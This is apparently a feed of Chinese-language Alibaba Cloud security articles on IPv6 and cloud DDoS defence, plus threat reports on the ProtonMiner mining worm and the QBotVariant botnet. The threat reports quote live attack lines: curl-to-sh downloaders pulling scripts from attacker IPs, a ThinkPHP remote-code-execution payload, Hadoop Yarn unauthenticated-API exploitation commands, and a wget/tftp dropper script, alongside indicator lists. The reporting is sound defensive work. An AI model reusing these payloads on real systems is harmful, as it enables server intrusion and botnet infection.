         ●  IPv6的NextHeader新特性可能被黑客用于发起DoS攻击,比如Type0路由头漏洞,通过精心制造的数据包,可以让一个报文在两台有漏洞的服务器之间“弹来弹去”,让链路带宽耗尽,也可以绕过源地址限制,让合法的IP反弹报文;
         ●  IPv6新增NS/NA/RS/RA,可能会被用于DoS或DDoS攻击;
         ●  IPv6支持无状态自动配置,同时子网下可能存在非常多可使用的IP地址,攻击者可以便利的发起随机源DDoS攻击;
         ●  IPv6采用端到端的分片重组机制,如果服务器存在漏洞,可能会被精心伪造的分片包DoS攻击。

        与此同时,IPv6下攻防态势也产生新的变化。IPv6提供海量的地址,一个IDC就可能申请到非常大的可用地址块,这对源IP频率和限速类的防御算法来说简直是噩梦。特别是应用层的DDoS:HTTP Flood、刷票、爬虫将变得更加难以防御。此外,随着自动驾驶汽车、物联网设备、移动终端等越来越多的智能设备入网,这些设备一旦被入侵都可能成为发起DDoS的僵尸网络,产生海量的攻击报文。

        DDoS攻击往往是出于商业利益,据阿里云发布的《2018上半年网络安全报告》显示,游戏、移动应用、电子商务等竞争激烈的领域是DDoS攻击的重点阵地。随着企业业务切到IPv6协议,IPv6下的DDoS攻击在一段时间里会非常有效,因为很多企业并没有做好IPv6 DDoS防御的准备,对攻击者来说可以轻易达成攻击目标。此时IPv6下的DDoS攻击会逐步热门起来,成为很多企业的阿喀琉斯之踵。

        阿里云IPv6DDoS防御最佳实践

        针对挑战和变化需要解决的问题:

         ●  网络和DDoS防御系统需要改造甚至重构支持IPv6。
        首先,虽然IPv4网络已经非常成熟,但到了IPv6网络,现有的很多企业网络、服务器网络的大部分都需要更换设备和重新开发系统,才能支持IPv6网络以及IPv6网络下的安全防护;
        部分企业寄希望运营商会提供平滑的过渡方案,但运营商只会对运营商网络边界内进行改造升级,企业如果需要支持IPv6,是需要自身进行改造升级的。
         ●  IPv6的地址总量是IPv4的2的96次方倍,系统需要更强大的处理性能才能支持海量的IP的安全防御。
         ●  针对大流量DDoS,需要建立运营商级别的IPv6黑洞能力。
         ●  防御算法和防御模式都需要适应IPv6的新挑战。
         ●  在业务切换到IPv6的同时,需要具备IPv6网络下的安全防护能力。

        阿里云如何实现:

        1.重构系统支持IPv4+IPv6的双栈DDoS自动防护

        a) 流量监控预警系统

        流量监控预警系统需要支持IPv6和IPv4,同时检测双栈流量,为了能检测IPv6海量的IP地址,阿里云DDoS系统采用了分布式集群的方式,将流量分散到集群上协作运算,对多个流量指标进行统计,秒级监控流量的异常。

        b) 调度系统

        对调度系统升级,支持双栈,自动判断IP类型,启动对应防御模式和清洗算法。

        c) 清洗系统

        重新设计部署了牵引、回注、清洗系统,并制定针对IPv6的清洗算法。

        2.运营商级别黑洞能力

        不管是IPv4还是IPv6,当某个IP攻击流量特别大,会导致整个带宽拥塞。无论对IDC机房、云服务商来说,1个IP被攻击导致所有业务不可用简直是灾难。特别是IPv6网络带宽相对于IPv4还处于建设初期,攻击拥塞风险更大。

        阿里云和各大ISP服务商建立IPv6黑洞联动能力,可以在运营商IPv6骨干网丢弃流量,提供安全的云环境。

        3.防护模式的升级

        a) 针对prefix级别的防御算法:

        虽然一个IDC就可能申请到海量的IP地址,但这些IP地址归属的IP地址块不会太多,即使攻击者可以切换海量的IP地址,但在同一个机房的肉鸡IP很难在网段级别离散,通过IP地址网段来统计和分析可以有效减弱IPv6海量地址带来的冲击。

        b)协同防御:

        在传统IDC和单机安全设备上,一个IP的异常指标可能非常低,很难分析它是攻击还是正常访问,同时很难判断这个IP是否是NAT或园区出口,结合IPv6的海量IP,攻击者可以进一步降低被识别的可能。但攻击者为了成本和效率,一个IP不可能只攻击一个目标。比如IP X.X.X.X 在DDoS了服务器A之后,可能又去CC攻击了服务器B。在阿里云上,由于规模效应,有海量的IP同时在被防御,所有清洗数据进行了在线化分析,一个IP的行为特征就有了上帝视角,攻击者变得非常明显,所有租户的防御就可以协同作战,威胁情报可以共享。

        c) 智能化深度防御:

        针对应用层的DDoS攻击,基于频率和限速的模式会越来越难防御,假如一个网站能承受1W qps。在IPv6下,攻击者可以很廉价的获取1W个IP,每个IP每秒发起1次请求,这个网站就会不堪重负。所以,在IPv6下应用层的DDoS攻击防御,更高级的人机识别技术、人机对抗技术将成为主流。目前阿里云已在Web应用防火墙上应用了多种人机对抗技术。

        安全建议

        对于普通互联网服务提供者来说,重构、升级系统来支持IPv6需要花费大量的成本,建议利用云服务快速搭建基于IPv6的服务。目前,阿里云已有多款产品支持IPv6,同时以SaaS化的形式提供IPv6 DDoS防护能力,助力企业一秒搭建更高级别的防御能力。


        ]]>
        T级攻击成为常态,你的DDoS高防IP系统准备好了吗? Fri, 02 May 2025 09:39:04 +0800 DDoS防御发展史

        DDoS(Distributed Denial of Service,分布式拒绝服务)主要通过大量合法的请求占用大量网络资源,从而使合法用户无法得到服务的响应,是目前最强大、最难防御的网络攻击之一。

        a3dec479b1c37df4a3b3fb0d38ace97d82fdf300

        DDoS作为一种古老的攻击方式,其防御方式也经历了多个发展阶段:

        内核优化时代

        在早期时代,没有专业的防护清洗设备来进行DDoS防御,当时互联网的带宽也比较小,很多人都是在用56K的modem拨号上网,攻击者可以利用的带宽也相对比较小,对于防御者来说,一般通过内核参数优化、iptables就能基本解决攻击,有内核开发能力的人还可以通过写内核防护模块来提升防护能力。

        在这个时期,利用Linux本身提供的功能就可以基本防御DDoS攻击。比如针对SYN FLOOD攻击,调整net.ipv4.tcp_max_syn_backlog参数控制半连接队列上限,避免连接被打满,调整net.ipv4.tcp_tw_recycle,net.ipv4.tcp_fin_timeout来控制tcp状态保持在TIME-WAIT,FIN-WAIT-2的连接个数;针对ICMP FLOOD攻击,控制IPTABLES来关闭和限制ping报文的速率,也可以过滤掉不符合RFC协议规范的畸形报文。但是这种方式只是在优化单台服务器,随着攻击资源和力度的逐渐增强,这种防护方式就显得力不从心了。

        专业anti-DDoS硬件防火墙

        专业anti-DDoS硬件防火墙对功耗、转发芯片、操作系统等各个部分都进行了优化,用来满足DDoS流量清洗的诉求。 一般IDC服务提供商会购买anti-DDoS硬件防火墙,部署在机房入口处为整个机房提供清洗服务,这些清洗盒子的性能从单台百兆的性能,逐步发展到1Gbps、10Gbps、20Gbps、100Gbps或者更高,所提供的清洗功能也基本涵盖了3-7层的各种攻击(SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等)。

        这种方式对IDC服务商来讲有相当高的成本,每个机房入口都需要有清洗设备覆盖,要有专业的运维人员来维护,而且并不是每个IDC机房都可以有同等的清洗防护能力,有的小机房上联可能只有20G带宽,且不具备复用这些清洗设备的能力。

        云时代的DDoS高防IP防护方案

        在云时代,服务部署在各种云上,或者传统的IDC机房里面,他们提供的DDoS基础清洗服务标准并不一致,在遭受到超大流量DDoS攻击情况下,托管所在的机房并不能提供对应的防护能力,不得已,为了保护他们的服务不受影响,就会有“黑洞”的概念产生。黑洞是指服务器受攻击流量超过IDC机房黑洞阈值时,IDC机房会屏蔽服务器的外网访问,避免攻击持续,影响整体机房的稳定性。

        在这种情况下,DDoS高防IP是通过建立各种大带宽的机房,提供整套的DDoS解决方案,将流量转到DDoS高防IP上进行防护,然后再把清洗后的干净流量转发回用户真正的源站。这种方式会复用机房资源,专业机房做专业的事情。简化DDoS防护的复杂度,以SaaS化的方式提供DDoS清洗服务。

        bde80cecef14d15c75a876b844508d1f65e666ec

        由此可以看出,云时代的DDoS高防IP不仅可以满足对大宽带的刚性需求,而且对用户来说具有隐藏源站、可以灵活更换清洗服务商的优势。

        DDoS高防IP系统关键组成

        带宽&网络

        带宽&网络是DDoS防护的第一诉求,首先要做的就是拥有一个高带宽的机房。目前国内主流机房主要为电信单线机房、联通单线机房、移动单线机房和BGP多线机房。

        ea8cb99206e341849095772a8d473308b7638bc1

        单线机房和BGP多线机房的特点以及差别是什么呢?

        特点

        单线机房

        BGP多线机房

        带宽&成本

        购买成本适中,DDoS带宽较大(Tb级)

        成本昂贵,DDoS带宽相对较小

        访问质量

        访问质量一般,受运营商跨网影响较大

        访问质量好,BGP网络最优选路

        业务复杂度

        如果用户需要多线访问,一般要多个IP(一个电信,一个联通,一个移动等),导致业务复杂度较高。

        只需要一个IP地址,多线接入,业务复杂度低。

        容灾

        容灾不足,一旦机房网络存在问题,容灾方案一般只能在业务层做切换

        BGP协议本身具有冗余备份、消除环路的特点,所以当IDC服务商有多条BGP互联线路时可以实现路由的相互备份,在一条线路出现故障时路由会自动切换到其它线路。


        另外一个维度就是带宽上限,目前对于国内DDoS高防IP来说,300Gbps的防护能力都是入门级别的,1Tbps的防护能力乃至无限抗的解决方案越来越多的出现用户的选择中。

        T级防护能力的BGP多线机房也逐步成为了未来的发展目标。阿里云致力于为客户能够提供访问质量和防护能力俱佳的DDoS高防IP。

        大流量清洗集群 

        这是另外一个关键技术。DDoS清洗的核心部分是将攻击流量拦截下来。一般攻击种类和对抗体系有以下几种:

        a)攻击防护:在带宽资源足够的条件下,如何对DDoS攻击流量清洗是下一步需要考虑的,一般来说,专业的DDoS清洗防护设备的主要防护方法包括几类:畸形包、特定协议丢弃;源反弹认证体系;统计限速&行为识别。攻击类型一般有SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等等。

         ●  畸形包、特定协议丢弃很简单,即对于不符合RFC协议规范的报文、反射类攻击都可以用指定特征的方式进行防护。
         ●  源反弹认证是针对syn flood的防护方法,一般采用反向验证的防护方法,如syn cookie,即清洗设备替服务端校验访问源的真实性,方法是在TCP三次握手中,在回复synack报文的时候,使用一种特殊的算法生成Sequence Number,这种算法考虑到了对方的IP、端口、己方IP、端口的固定信息等多种信息,并在ack报文的时候确认。如果是真实访问者,放行流量。同理,复杂的CC攻击可以用反弹一个图片验证码的方式校验攻击者是否为真实客户。
         ●  统计限速&行为识别这里就会综合各种黑白名单,用户访问速率、行为,进行一个速率控制的防护。

        b)集群架构:在目前的DDoS防护趋势下,防护必须有弹性扩容的能力,才可以跟进攻防对抗的趋势。另外这里还会提到100G口的普及。一般来说流量的负载均衡是根据五元组里面的特征进行负载均衡hash的,如果单口的带宽比较小(10G or 40G),那么一旦攻击流量的五元组的hash不均匀,他们有更大的几率会拥塞,流量根本就不会送到清洗设备引擎上去。这个也是大集群清洗体系比较重要的一点。

        c)运营体系:DDoS对抗运营也是非常关键的一环,需要多年实时对抗的经验积累,在面对一些新型攻击及突发情况时,快速的分析和决策是解决问题的一个关键部分。

        负载均衡设备&安全组件

        负载均衡技术是代理高防的关键技术,这里面包括4层负载均衡和7层负载均衡。

        4层负载均衡技术,为每一个客户业务提供一个独享的IP,本身的转发能力要高性能、高可用性,同时还要具备安全防护能力,能够对抗连接型攻击。

        7层负载均衡技术,针对网站类业务的代理和防护,对HTTP/HTTPS协议的支持,各种CC攻击的防护,都会集成在7层负载均衡的系统里面。

         ●  独享IP。优点就是一个业务IP被DDoS攻击,不会影响其他的业务,资源隔离。
         ●  高可用,可扩展。根据应用负载进行弹性扩容,在流量波动情况下不中断对外服务。可以根据业务的需要,随时增加或减少后端服务器的数量,扩展应用的服务能力。
         ●  安全能力。具备in/out双向流量信息,可以提供精细化、域名级别、session级别的应用级别DDoS防护。

        对4层和7层进行深度开发安全功能,上下游配合,各取所长,配合大流量清洗集群才能将防护做到极致。

        数据实时分析系统


        流量分析

        首先是数据源,数据源机制有很多种,比较熟知的是利用NetFlow进行采样分析攻击检测,也可以通过1:1分光分流的方式获取全部流量统计检测,很明显1:1分光的方式需要更高的资源和更高效的数据分析系统,需要研发能力和技术支撑的,也会取得更佳的效果。

        应用识别

        拿到原始报文和数据后,需要做的就是区分应用了。应用的区分可以是IP级别,可以是IP+端口级别,也可以是域名级别等。不同业务的防御方法是有差别的,需要做到根据业务特性来制定专业的防御方案。

        攻击分析


        目前DDoS的攻击分析已经摆脱了以前基于统计的分析算法,引入了行为识别、机器学习的理论和实践,而这些算法都帮助我们能更好对攻击进行防护,我们还应该关注如何将这些算法有效的实时应用到用户的防御对抗中。

        综上来看,DDoS攻击防护存在木桶短板原理,任何一个攻击防护点的效果都会影响到整体的防御效果。未来的DDoS高防IP应该具备弹性带宽、高冗余、高可用、访问质量优、业务接入简单的特点。同时通过DDoS防护能力的OPENAPI化,和用户自动化运维体系的打通,实现安全和业务结合,以更好的助力业务发展。


        ]]>
        威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播 Fri, 02 May 2025 09:39:04 +0800 背景

        近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。但与先前报导不同的是,二月中旬,该挖矿蠕虫扩大了攻击面,从仅攻击ElasticSearch这一种服务,变为攻击包括Redis, Weblogic在内的多种服务,传播速度大大加快。

        本文着重描写该挖矿僵尸网络的传播手法,并在文末列出了安全建议,以帮助用户避免遭受感染,或在已被感染的情况下进行清理。

        感染路径

        _

        攻击者先控制被感染主机执行以下两条命令之一,从而下载并运行uuu.sh。

        /bin/bash -c curl -fsSL http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh/bin/bash -c curl -fsSL http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

        而uuu.sh脚本运行后,将继续下载挖矿程序和配置文件用于挖矿,以及下载蠕虫木马用于继续攻击未感染主机。

        “谨慎”的入侵脚本

        入侵脚本uuu.sh,首先会通过试着写入"/etc/devtools"目录,来判断当前账户是否拥有root权限;脚本的大部分功能,只有当前账号具有root权限时才会运行。

        #!/bin/shecho 1 > /etc/devtoolsif [ -f "$rtdir" ]
        
            then
        
                echo "i am root"
        
                echo "goto 1" >> /etc/devtools
        
         # download & attack
        
        fi

        该脚本具有典型挖矿事件中恶意脚本的特征:检查并杀死其他僵尸网络的进程、将自身写入系统crontab文件、修改iptables设置从而允许某些端口上的通信等。然而这一脚本的作者或许更加谨慎:

        1.在脚本最后,攻击者清空了命令历史记录

        _

        2.在挖矿配置文件中,攻击者使用了多个ProtonMail邮箱地址作为连接到矿池的用户名。ProtonMail是世界最大的安全邮件服务提供商,ProtonMiner也是因此而得名。这种使用邮箱地址,而非门罗币钱包地址作为矿池用户名的做法很好地“保护”了攻击者的隐私,也为安全工作者们判断该僵尸网络的规模和收益情况增加了难度。

        _

        传播分析

        ProtonMiner的横向传播程序名为"systemctI",是一个由Go语言编译的程序。它的main函数如下图所示:

        _

        该程序在运行时,会首先通过_tmp_exe_linx_ipc_Init_ip等方法对要扫描的ip和使用的弱密码进行初始化。过程中会请求并下载以下两个地址的文件。

        https://pixeldra.in/api/download/I9RRye (ip地址c段列表)
        https://pixeldra.in/api/download/-7A5aP (弱密码列表)

        _

        之后程序会进入main_Scan函数,该函数包含大量的扫描和漏洞利用相关子函数。

        _

        下表列出了受到该挖矿僵尸网络影响的服务和漏洞:
        _

        例如一个ThinkPHP 的payload:

        POST /index.php?s=captcha HTTP/1.1%0d%0aHost: ...%0d%0aUser-Agent: Go-http-client/1.1%0d%0aContent-Length:132%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept-Encoding:gzip%0d%0a%0d%0a_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=url -fsSLhttp://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

        ProtonMiner僵尸网络扩大攻击面之后,传播速度有了显著的提升。从下图可以看出,进入2月份以来,攻击量快速上升,并在2月中旬达到高峰,阿里云观察到已有上千台主机受到感染:
        _

        安全建议

        1. 不要用root账户启动数据库、网站服务器等服务,因为root启动的服务一旦被成功入侵,攻击者将拥有被入侵主机的所有权限。此外,像Redis和Hadoop这些主要是内部使用的服务,不应暴露在公网上。

        2. 挖矿僵尸网络更新速度非常快,它们部分导致了互联网上无处不在的威胁。您可以使用云防火墙服务,检测、拦截、并保护客户避免感染。

        3. 如果你关注自身业务的网络安全却又雇不起一名安全工程师,那么你可以试试阿里云的安全管家产品,让阿里云的安全专家来给你恰当的帮助,例如协助你清除已存在的病毒、木马等。

        IOC

        C&C服务器:

        45.76.122.92

        207.148.70.143

        恶意文件:
        _

        矿池地址:

        xmr.pool.minergate.com:45700

        使用的账号(邮箱)名:

        xjkhjjkasd@protonmail.com

        dashcoin230cdd@protonmail.com

        alksjewio@protonmail.com

        23odi093dd@protonmail.com

        olpeplckdd3@protonmail.com


        ]]>
        狂欢背后的安全24小时 Fri, 02 May 2025 09:39:04 +0800 8fb1b4de0c443681a6d7b4f6b6e98a988739ced6

        安全24小时 

        ● 阿里云云盾从平台层和业务层护航双11的云上业务,平稳承受住11月11日0点峰值的考验。

        ● 阿里云平台自动识别并拦截来自194个国家的28.6亿次攻击,其中海外攻击占比40.6%。

        ● 云盾DDoS高防防护5000+次DDoS攻击,最大攻击流量397Gbps。

        ● 云盾Web应用防火墙检测20亿+次请求,拦截2000万+ Web入侵攻击、2亿+ CC\爬虫攻击。

        新技术护航 

        ● 作为国内第一家推出Anycast高防产品的服务商,阿里云在全球建成6大Anycast清洗中心,为Lazada和云上客户海外业务提供安全护航服务。

        ● 作为国内首家提供IPv6 DDoS防御系统的云服务商,为双11首次跑在IPv6上的淘宝、优酷等业务提供IPv4+IPv6双栈DDoS秒级自动防护。

        ● 云盾业务风控产品首次通过自研风控引擎在购物节期间为云上数百位客户提供790万+次风险识别服务,在多维度安全策略的保障下,整体顺畅且无风险事件发生。


        安全是一切背后不可或缺的力量,安全是一种普惠科技。我们一直在行动。

        ——阿里云安全团队


        ]]>
        因为看见,所以发现:QBotVariant谢绝落幕 Fri, 02 May 2025 09:39:04 +0800 互联网给人带来便捷的同时,其公开大量的资源也同样给恶意利用者带了便捷,越来越多公开的恶意程序源码降低了对外攻击、入侵的难度,使得安全问题愈加严重。

        阿里云安全团队从今年5月份监测到一BOT家族,其样本改写自互联网公开渠道源码,在互联网上广泛传播,造成了极大的危害,云安全团队对该类样本做了分析、聚类、溯源,在此我们将该类样本命名为QBotVariant。

        QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能,一旦被入侵便变成肉鸡,其主要传播方式通过Hadoop Yarn资源管理系统REST API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统,不仅服务器受到危害,如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到该类样本,但是他发现的IP、样本等信息只是该类家族的其中一个样本,而我们从监测到30多个下载服务器可以看出,QBotVariant多变的IP和二进制样本变种,使其难以发现和跟踪。

        在云平台上,我们监测到的QBotVariant活跃度如下,峰值的时候可以达到上千个,活跃度一直未减。

        68b68f67c49ad8ea5eae920a2522cbe768f5370b

        以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。

        入侵、传播方式

        QBotVariant家族传播的方式有两种,一是利用Hadoop Yarn资源管理系统REST API未授权访问漏洞进行入侵,二是通过硬编码的弱密码进行SSH暴力破解。

        8fc4239242f5ab3452ef73c7908ba048eb6aeb45

        Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意代码,最终完全控制服务器。

        其问题来源于对外开启了以下作用的端口

        yarn.resourcemanager.webapp.address,默认端口8088

        yarn.resourcemanager.webapp.https.address,默认端口8090

        通过对新申请application,如下指令

        curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'

        再执行如下指令即可完成入侵

        curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json

        其example.json文件如下

        {

        "am-container-spec":{

        "commands":{

        "command":"执行的命令书写在这里"

        }

        },

        "application-id":"application_xxxx_xxxxx",

        "application-name":"test",

        "application-type":"YARN"

        }

        脚本分析

        我们通过溯源找到了QBotVariant比较原始版本的脚本,在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行,从远程下载服务器下载脚本并执行

        bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

        wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;

        tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

        tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;

        ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

        以下是阿里云安全截获的一个经过改写的下载脚本,从脚本可以看出作者为了能够很好的对IOT设备支持,一方面编译了不同版本的程序,通过ntpd、sshd、openssh等进行伪装;另一方面每个命令行都加入了对busybox的支持,这些使得该类脚本很好的支持了IOT设备,为QBotVaraint的传播提供了更加便捷的途径。

        8e6b6419ab5291e3cd2c191fb5794e0c6546bf59

        在阿里云捕获的源码中有用于编译多个版本的脚本

        dcc935689cd2993e4d1b14fcb531604819952719

        QBotVariant支持版本类型及其对应二进制名称:

        支持版本类型

        对应二进制名称

        支持版本类型

        对应二进制名称

        mips

        ntpd

        i586

        ftp

        mipsel

        sshd

        m68k

        pftp

        sh4

        openssh

        sparc

        sh

        x86_64

        bash

        armv4l


        armv6l

        tftp

        armv5l

        apache2

        i686

        wget

        powerpc-440fp

        telnetd

        powerpc

        cron



        样本分析

        阿里云截获的多批次样本都比较相似,都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪,我们随机对比两个捕获的样本,如图右边的样本对getRandomPublicIP函数进行了裁剪,该样本只实现了QBot的少许功能,其文件更小、功能更加单一。

        4e16236bcc5d5bab1e3b77fb5edec3c14c6b044f

        而绝大部分样本都实现了基本功能,其传播性、危害性等性质并未改变,部分函数如图所示

        5825be754b32d2beb078ae6c4a2c5fc5388bfbec

        指令分析

        我们对远控指令进行了分析,其功能如下图所示

        2cc1a7f07b5b6d19cd046a826a5557fc0e97046b

        值得注意是StartTheLelz函数,该函数主要用于对随机生成的IP地址进行爆破,如图通过getRandomPublicIP函数得到随机的IP,将硬编码的用户名和密码存储在结构体中,然后进行连接,其最大爆破次数通过max变量进行控制,max和文件描述表的项数有关但最大不超过4096。

        012e2c703278b47e11bed2d14a981bf8b3fe98e1

        通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破

        9c49da047d7811ad1f1fdc017f13f00b27be89ea

        如果最终爆破成功,则会在被爆破的主机中执行如下脚本,从而感染主机,再继续向外传播

        3cd640fd095b4b95857a6a9465678a8f5a0c3003

        除了集成常见的对外DDoS攻击方法,QBotVariant还可以进行对外发送垃圾数据,通过sendJUNK或sendUDP即可完成该动作,如图用于生成随机字符串的makeRandomStr函数,通过发送大量垃圾包同样可以造成网络带宽阻塞。

        cf69f930e105d4c95b8e67bf7eadc6f6f9668c62

        而QBotVariant为了最大化入侵价值,同样提供了远程shell命令执行功能,其命令以"SH"开头,通过fdgets、sockprintf将命令执行后的结果返回到远控端,实现如下

        d906106571c903dc4860d5ee124898018e7f944e

        样本溯源/同源性分析

        我们在对样本分析的过程中发现一个有趣的现象,样本为了逃避检测,有多种不同的指令,我们选取了几种QBotVariant的上线方式。


        第一种,信息较简单,返回大小端、CPU架构、主机用途等信息。

        5c9c31b20878601f2112b7c967fc1dbe3aa56b4e

        第二种,信息比较全面,带有操作系统、CPU架构、主机用途、端口、主机IP等信息。

        37d9ff7d8c3d6fc5764bfb0ee3b98f94c82af7c3

        第三种,信息最为简单,只返回架构信息。

        15098483ef6ebfdb827b61fef584fcf737dd69b4

        第四种,返回大小端、架构信息。

        b94713d5deccfbf64dace69d8155fb8ea702defe

        第五种,信息比较全面,架构信息、大小端、主机IP、主机用途等信息。

        bae951a9ad2e08c94dc5e70ae79e52fc4416cbe9

        第六种,返回主机IP、类型、版本信息等。

        0c4d5eedc58f6c22e1bef3842293ffa0a53aeceb

        第七种,返回架构、主机IP等信息。

        e08a59a1314d675b38dc86226724169671b3623d

        我们在对样本进行溯源发现,在pastebin上存在大量该类样本的源码、二进制文件等,其存在时间都在数月之久,作者目录下还包括其他类型IOT蠕虫,同时发现多个作者进行了QBot的改写,如图是其中一位作者的pastebin和github

        f2d591115916f2a6d4030ba3ce06f19748d2ef56

        QBot在国内似乎大家认知不多,但是由于源码简单、客户端小、支持多种架构,从09年活跃至今一直未间断过,常被应用于远控、DDoS等客户端,在其截获的IP中,绝大部分位于北美和欧洲各地,但是云平台检测到来自国内IP的攻击源,国内安全人员应该引起重视。

        407eba8660964d91924a725081a1a5676eca1bbb


        安全加固 ●  云防火墙


        开启云防火墙IPS拦截模式和虚拟补丁功能,云防火墙已经支持对该类漏洞的防御和防止暴力破解功能,用户即使不及时修复也依然能够进行防御拦截。
         ●  网络访问控制
        使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制,如果本身Hadoop环境仅对内网提供服务,请不要将Hadoop服务端口发布到互联网。
         ●  更新升级

        若使用自建的Hadoop,根据实际情况及时更新补丁,Hadoop在2.X以上版本提供了安全认证功能,加入了Kerberos认证机制,建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。

        安全建议

         ●  云防火墙产品已支持防御针对此漏洞的攻击,建议用户可以购买云防火墙,开启检测。

         ●  通过安全管家服务,在阿里云安全专家的指导下进行安全加固及优化工作,避免系统受到漏洞影响。

        总结

        QBotVariant通过Hadoop Yarn资源管理系统REST API未授权访问漏洞、弱密码口令爆破等方式进行入侵,一旦感染此类蠕虫,不仅会占用主机计算资源消耗带宽流量,成为攻击其他主机的肉鸡,还可能造成数据泄露,数据丢失等后果。

        阿里云安全提醒广大互联网用户,注意第三方应用的配置,防止出现此类未授权漏洞,同时加强用户名和密码的安全意识,切实保护自身资产安全。

        IOC

        部分MD5-文件名

        文件名

        MD5

        185.244.25.153


        YSDKOP.arm4

        cc9de0d789efc8636946b4b41f374dfc

        YSDKOP.arm5

        ac94604edfe7730ccf70d5cd75610d01

        YSDKOP.arm6

        dcb51c5abd234a41ee0439183f53fd2d

        YSDKOP.arm7

        2416380b2fe0c693fd7c26a91b4cb8ee

        YSDKOP.i586

        2f029723c778f15e8e825976c66e45cd

        YSDKOP.i686

        49ec48d3afdddb098fa2c857fc63c848

        YSDKOP.m68k

        7efef839902ca20431d58685d9075710

        YSDKOP.mips

        eab0810535b45fa1bf0f6243dafb0373

        YSDKOP.mpsl

        a2c4e09821be6a4594e88376b9c30b5d

        YSDKOP.ppc

        1fc61114722f301065cd9673025ce5e0

        YSDKOP.sh4

        38abc827e67ff53d0814979b435e2c40

        YSDKOP.sparc

        20a38aeeffba9f0f1635c7b4b78f3727

        YSDKOP.x86

        8fd97d622e69b69a3331ee5ed08e71b2

        188.166.125.19



        7e9c49b9e743bcf7b382fa000c27b49d

        apache2

        64394fb25494b0cadf6062a0516f7c1a

        bash

        75e7ce8c110bb132d3897b293d42116a

        cron

        e8dfae1fe29183548503dc0270878e52

        ftp

        0e765d00f0ee174e79c81c9db812e3a2

        ntpd

        2cb932dcb5db84dafa8cdc6b4afa52d0

        openssh

        606a3169f099b0f2423c63b4ed3f9414

        pftp

        6666ef216ce7434927338137760f4ab0

        sh

        cc2e82ffbc6d5053efade4849c13099f

        sshd

        00b0a6516986aca277d0148c7ddf38c4

        tftp

        38b075ee960d08e96b2e77205ec017de

        wget

        58c5e1bc66ac6b364639bce4b3f76c58

        部分IP

        178.128.194.222

        178.128.7.76

        103.214.111.122

        130.185.250.199

        194.182.80.200

        138.197.74.100

        198.199.84.119

        104.248.165.108

        178.128.46.254

        159.65.227.17

        206.189.196.216

        80.211.109.66

        194.48.152.114

        159.89.114.171

        178.128.43.104

        185.244.25.153

        209.97.159.10

        46.36.37.121

        46.29.164.242

        46.17.47.250

        158.69.60.239

        195.181.223.138

        80.211.39.186

        188.166.125.19

        104.248.112.122

        212.237.26.71

        178.128.239.252

        104.248.212.127

        104.248.63.168


        部分URL及出现时间

        URL

        时间

        http://138.197.74.100/bins.sh

        20180904

        http://80.211.39.186/bins.sh

        20180904

        http://178.128.239.252/bins.sh

        20180908

        http://158.69.60.239/bins/boti586final

        20180908

        http://158.69.60.239/bins/botx86_64final

        20180908

        http://158.69.60.239/bins/boti686final

        20180908

        http://158.69.60.239/bins.sh

        20180908

        http://178.128.239.252/bins.sh

        20180909

        http://130.185.250.199/bins.sh

        20180909

        http://46.17.47.250/xm2bash

        20180913

        http://104.248.112.122/Kuso69/Akiru.x86

        20180918

        http://194.182.80.200/bins.sh

        20180919

        http://104.248.112.122/Kuso69/Akiru.x86

        20180919

        http://209.97.159.10/bins.sh

        20181003

        http://46.17.47.250/xm2wget

        20181005

        http://185.244.25.153/bins.sh

        20181009

        http://159.65.227.17/bins.sh

        20181009

        http://178.128.7.76/bins.sh

        20181010

        http://185.244.25.153/bins.sh

        20181010

        http://104.248.212.127/bins.sh

        20181010

        http://159.65.227.17/bins.sh

        20181010

        http://206.189.196.216/bins.sh

        20181010

        http://188.166.125.19/bins.sh

        20181010

        http://188.166.125.19/bins.sh

        20181011

        http://185.244.25.153/bins.sh

        20181011

        http://178.128.7.76/bins.sh

        20181011

        http://104.248.212.127/bins.sh

        20181011

        http://80.211.109.66/bins.sh

        20181012

        http://185.244.25.153/bins.sh

        20181012

        http://195.181.223.138/bins.sh

        20181012

        http://159.89.114.171/bins.sh

        20181012

        http://178.128.7.76/bins.sh
